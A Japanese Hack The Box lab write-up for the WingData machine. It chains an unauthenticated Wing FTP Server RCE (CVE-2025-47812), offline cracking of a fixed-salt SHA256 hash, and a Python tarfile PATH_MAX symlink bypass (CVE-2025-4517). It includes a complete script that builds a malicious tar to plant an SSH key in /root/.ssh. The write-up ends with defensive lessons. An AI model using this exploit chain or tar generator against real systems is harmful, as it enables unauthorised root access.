Hack The BoxのWriteup(WingData)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: WingData — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80
→
Wing FTP Server v7.4.3
ftp.wingdata.htb
→
CVE-2025-47812
NULLバイトLuaインジェクション
→
wacky.xml ハッシュ取得
固定ソルト “WingFTP”
→
hashcat -m 1410 クラック
SSH wacky / user.txt ✓
→
sudo restore_backup_clients.py
CVE-2025-4517
→
PATH_MAX symlinkチェーン
/root/.ssh へ書込
→
root SSH
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン

BASH
nmap -Pn -p- --min-rate 1000 -T4 10.129.94.125
RESULT
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned

vhost 発見 — ftp.wingdata.htb

BASH
# まず /etc/hosts に wingdata.htb を登録しブラウザで確認
echo "10.129.94.125 wingdata.htb ftp.wingdata.htb" | sudo tee -a /etc/hosts

curl -s -H "Host: ftp.wingdata.htb" http://10.129.94.125/login.html | grep -i title
RESULT
<title>Wing FTP Server - Web Client</title>
...
FTP server software powered by <a href="https://www.wftpserver.com/">Wing FTP Server v7.4.3</a>
🚨
メイン vhost (wingdata.htb) は “Wing Data Solutions” のマーケティングサイト。 サブドメイン ftp.wingdata.htb に Wing FTP Server v7.4.3 の Webクライアントが稼働している。このバージョンは CVE-2025-47812 (未認証RCE) の対象。
PHASE 2

CVE-2025-47812 — Wing FTP Server 未認証 RCE

脆弱性の背景

NOTE
Wing FTP Server 7.4.3 以前は login.html の username パラメータに
NULLバイト+Luaコードを注入できる。c_CheckUser() はNULLバイトで文字列を
切り詰めて検証するが、セッションファイル生成ロジックは切り詰め前の
生文字列をそのまま使うため、注入したLuaコードがセッションファイルに
書き込まれる。認証済み機能 (/dir.html 等) へアクセスするとそのLuaコードが
実行され、サーバー上で任意コマンド実行が可能になる (Linuxではroot権限、
Windowsではsystem権限で動作するプロセスのため影響大)。

exploit-db 52347 (CVE-2025-47812) の取得・動作確認

BASH
searchsploit -p 52347
cp /usr/share/exploitdb/exploits/multiple/remote/52347.py .

python3 52347.py -u http://ftp.wingdata.htb/ -c whoami
RESULT
[+] Sending POST request to http://ftp.wingdata.htb//loginok.html with command: 'whoami'
[+] UID extracted: e97ff7776dfa426270f1d996f79356e4f528764d624db129b32c21fbca0cb8d6
[+] Sending GET request to http://ftp.wingdata.htb//dir.html with UID: e97ff7776d...

--- Command Output ---
wingftp
----------------------
✅
未認証のまま wingftp ユーザーとして任意コマンド実行が確認できた。

ハマりポイント: cat で直接XMLファイルを読もうとすると出力が空になる

NOTE
exploit-db 52347.py のソースを確認すると、応答ボディから目的のコマンド出力だけを
抜き出す処理が以下のようになっている:

    clean_output = re.split(r'<\?xml', body)[0].strip()

つまり応答本文中で最初に出現する "<?xml" より前の部分だけを採用する実装。
Wing FTP の wacky.xml はファイル先頭が <?xml version="1.0" ?> で始まる
XML設定ファイルのため、`cat wacky.xml` を直接実行すると、コマンド出力
そのものの先頭にある "<?xml" にこの正規表現がマッチしてしまい、
**抽出結果が空文字列になる** (スクリプト自身のバグ)。
BASH
# 失敗する例
python3 52347.py -u http://ftp.wingdata.htb/ -c "cat /opt/wftpserver/Data/1/users/wacky.xml"
# → --- Command Output --- の中身が空になる

# 対策: base64 でエンコードしてから取得し、ローカルでデコードする
python3 52347.py -u http://ftp.wingdata.htb/ -c "base64 -w0 /opt/wftpserver/Data/1/users/wacky.xml"
RESULT (base64出力をデコード)
<?xml version="1.0" ?>
<USER_ACCOUNTS Description="Wing FTP Server User Accounts">
    <USER>
        <UserName>wacky</UserName>
        <EnableAccount>1</EnableAccount>
        <EnablePassword>1</EnablePassword>
        <Password>32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca</Password>
        ...
PHASE 3

固定ソルトでのハッシュクラック & user.txt

Wing FTP 管理者ハッシュの構成を調査

BASH
hashid '32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca' -m
RESULT
[+] SHA-256 [Hashcat Mode: 1400]
[+] ...
ℹ️
hashcat mode 1400 (素のSHA256) ではクラックできない — ソルト付きと判断。 Wing FTP Server のドキュメント/研究によると、管理者アカウントのパスワードは 固定・ハードコードされたソルト “WingFTP” を使い SHA256(password + "WingFTP") で構成される (hashcat mode 1410: sha256($pass.$salt))。

hashcat -m 1410 でクラック

BASH
echo '32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP' > hash.txt
hashcat -m 1410 hash.txt /usr/share/wordlists/rockyou.txt --potfile-disable -o crack.txt
cat crack.txt
RESULT
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)

32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP:!#7Blushing^*Bride5

SSH ログイン & user.txt 取得

BASH
ssh wacky@10.129.94.125
# Password: !#7Blushing^*Bride5

wacky@wingdata:~$ cat user.txt
RESULT
uid=1001(wacky) gid=1001(wacky) groups=1001(wacky)
87ef1811fbb0923c7099d98f3c9e673d
user.txt — wacky@wingdata
87ef1811fbb0923c7099d98f3c9e673d
PHASE 4

CVE-2025-4517 — tarfile PATH_MAX バイパスで悪性 tar を生成

sudo 権限とスクリプトの調査

BASH
wacky@wingdata:~$ sudo -l
RESULT
User wacky may run the following commands on wingdata:
    (root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *
PYTHON (/opt/backup_clients/restore_backup_clients.py 要旨)
BACKUP_BASE_DIR = "/opt/backup_clients/backups"
STAGING_BASE = "/opt/backup_clients/restored_backups"

def validate_backup_name(filename):
    if not re.fullmatch(r"^backup_\d+\.tar$", filename):
        return False
    client_id = filename.split('_')[1].rstrip('.tar')
    return client_id.isdigit() and client_id != "0"

# ... 引数検証後 ...
with tarfile.open(backup_path, "r") as tar:
    tar.extractall(path=staging_dir, filter="data")   # ← "data" フィルタ使用
ℹ️
root 権限で /opt/backup_clients/backups/backup_<id>.tar を展開する。 Python 3.12 の tarfile.extractall(filter="data") はシンボリックリンクの 最終着地点が展開先ディレクトリ内に収まるか検証するはずだが、CVE-2025-4517 により この検証を回避できる。

CVE-2025-4517 の原理 — PATH_MAX による realpath() の検証回避

NOTE
"data" フィルタは、シンボリックリンクを辿った最終的な実体パスを
os.path.realpath() で解決し、それが展開先ディレクトリの内側にあるかを確認する。

しかし os.path.realpath() は PATH_MAX (4096バイト) を超える長さのパスを
解決しようとすると、解決を諦めて "未解決のまま" のパス文字列を返してしまう。
この挙動を利用し、以下の構造を持つ tar を作れば検証をすり抜けられる:

  1. 247文字のディレクトリ名 × 16階層のネストを作る
     (247 × 16 ≈ 3952バイト、PATH_MAX に迫る深さ)
  2. 各階層に、兄弟の長い名前のディレクトリを指す1文字シンボリックリンク
     (a, b, c, ... p) を同時に作成する
  3. a/b/c/.../p + 254文字の最終コンポーネントという形でシンボリックリンクの
     連鎖を辿るパス (linkpath) を組み立てる → これを解決しようとすると
     PATH_MAX を超え、realpath() は検証をバイパスする
  4. linkpath から "../" を16回重ねたシンボリックリンク (元のステージング
     ディレクトリ付近へ"戻る") を作る
  5. "escape" という名前のシンボリックリンクを作り、linkname を
     linkpath + "/../../../../../root/.ssh" とする
     → フィルタ検証時は PATH_MAX 超過で解決を諦めパスするが、
       実際の展開時には OS カーネルがシンボリックリンクを最後まで
       正しく解決し、/root/.ssh に着地する
  6. "escape/authorized_keys" という通常ファイルエントリを追加する
     → escape シンボリックリンクを経由して実体は /root/.ssh/authorized_keys
       に書き込まれる (ハードリンク不要、シンボリックリンク越しの書込だけで良い)

悪性 tar 生成スクリプト

BASH
ssh-keygen -f ./rootkey -N ""
PYTHON (generate_tar.py)
import tarfile, os, io

comp = 'd' * 247
steps = "abcdefghijklmnop"
path = ""

with tarfile.open("backup_9999.tar", mode="w") as tar:
    for i in steps:
        a = tarfile.TarInfo(os.path.join(path, comp))
        a.type = tarfile.DIRTYPE
        tar.addfile(a)
        b = tarfile.TarInfo(os.path.join(path, i))
        b.type = tarfile.SYMTYPE
        b.linkname = comp
        tar.addfile(b)
        path = os.path.join(path, comp)

    linkpath = os.path.join("/".join(steps), "l" * 254)
    l = tarfile.TarInfo(linkpath)
    l.type = tarfile.SYMTYPE
    l.linkname = "../" * len(steps)
    tar.addfile(l)

    # escape -> /root/.ssh directory
    e = tarfile.TarInfo("escape")
    e.type = tarfile.SYMTYPE
    e.linkname = linkpath + "/../../../../../root/.ssh"
    tar.addfile(e)

    # Write new file THROUGH the symlink (no hardlink needed)
    pubkey = open("./rootkey.pub", "rb").read()
    n = tarfile.TarInfo("escape/authorized_keys")
    n.type = tarfile.REGTYPE
    n.size = len(pubkey)
    n.mode = 0o600
    tar.addfile(n, fileobj=io.BytesIO(pubkey))
BASH
python3 generate_tar.py
scp backup_9999.tar wacky@10.129.94.125:/opt/backup_clients/backups/
# ※ ファイル名は validate_backup_name() の正規表現 ^backup_\d+\.tar$ に
#   一致させる必要がある (client_id は非ゼロの数字文字列)
PHASE 5

sudo でリストア実行 → root.txt

悪性 tar の展開を sudo 経由でトリガー

BASH
wacky@wingdata:~$ sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py \
  -b backup_9999.tar -r restore_pwn
RESULT
[+] Backup: backup_9999.tar
[+] Staging directory: /opt/backup_clients/restored_backups/restore_pwn
[+] Extraction completed in /opt/backup_clients/restored_backups/restore_pwn
✅
エラーなく展開完了。表面上は正常な動作に見えるが、実際には /root/.ssh/authorized_keys へ攻撃者の公開鍵が書き込まれている。

root 権限 SSH でログイン & root.txt 取得

BASH
ssh -i rootkey root@10.129.94.125
root@wingdata:~# cat root.txt
RESULT
uid=0(root) gid=0(root) groups=0(root)
b56d8ef2e2fd0f6ff56e34ab711cfe01
root.txt — root@wingdata
b56d8ef2e2fd0f6ff56e34ab711cfe01
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — wacky@wingdata
87ef1811fbb0923c7099d98f3c9e673d
root.txt — root@wingdata
b56d8ef2e2fd0f6ff56e34ab711cfe01

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
CVE-2025-47812 Wing FTP Server <= 7.4.3 未認証リモートコード実行 Critical username パラメータへのNULLバイト+Luaコード注入でセッションファイル経由RCE
管理者ハッシュの固定ソルト Wing FTP Server ユーザーDB (wacky.xml) 弱いパスワードのクラック容易化 Medium SHA256(password + “WingFTP”) の固定ソルトを使い hashcat -m 1410 でクラック
CVE-2025-4517 Python 3.12 tarfile.extractall(filter=”data”) 任意ファイル書込による権限昇格 High PATH_MAX超過のシンボリックリンクチェーンでrealpath()検証を回避し/root/.sshへ書込

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + vhost発見Wing FTP Server v7.4.3 (ftp.wingdata.htb)
2未認証RCECVE-2025-47812 (exploit-db 52347)wingftp権限でのコマンド実行
3資格情報奪取base64経由でwacky.xml取得 + hashcat -m 1410user.txt (wacky)
4悪性tar生成CVE-2025-4517 PATH_MAXシンボリックリンクチェーンauthorized_keys書込用tarball
5権限昇格sudo restore_backup_clients.py実行root.txt

学んだ教訓 & 防御策

問題点防御策
Wing FTP Server のユーザー名検証とセッション生成ロジックの不整合 (NULLバイト処理の差異) 最新版 (7.4.4以降) へアップデートする。ユーザー入力は一貫した方法でサニタイズし、 異なるコードパスで同じ入力を別々に処理しない設計にする。
管理者パスワードハッシュに弱い固定・ハードコードされたソルトを使用 ユーザーごとにランダムなソルトを生成し保存する。ベンダーに修正パッチを要求する。
Python 3.12 の tarfile “data” フィルタが PATH_MAX 超過パスの検証を事実上スキップする (CVE-2025-4517) パッチ済みの Python バージョンへアップデートする。sudo で実行可能な復元スクリプトは 信頼できないtarballを展開させない設計にするか、展開前にシンボリックリンクの 深さ・総パス長を独自に制限する。
HackTheBox: WingData | 完全攻略レポート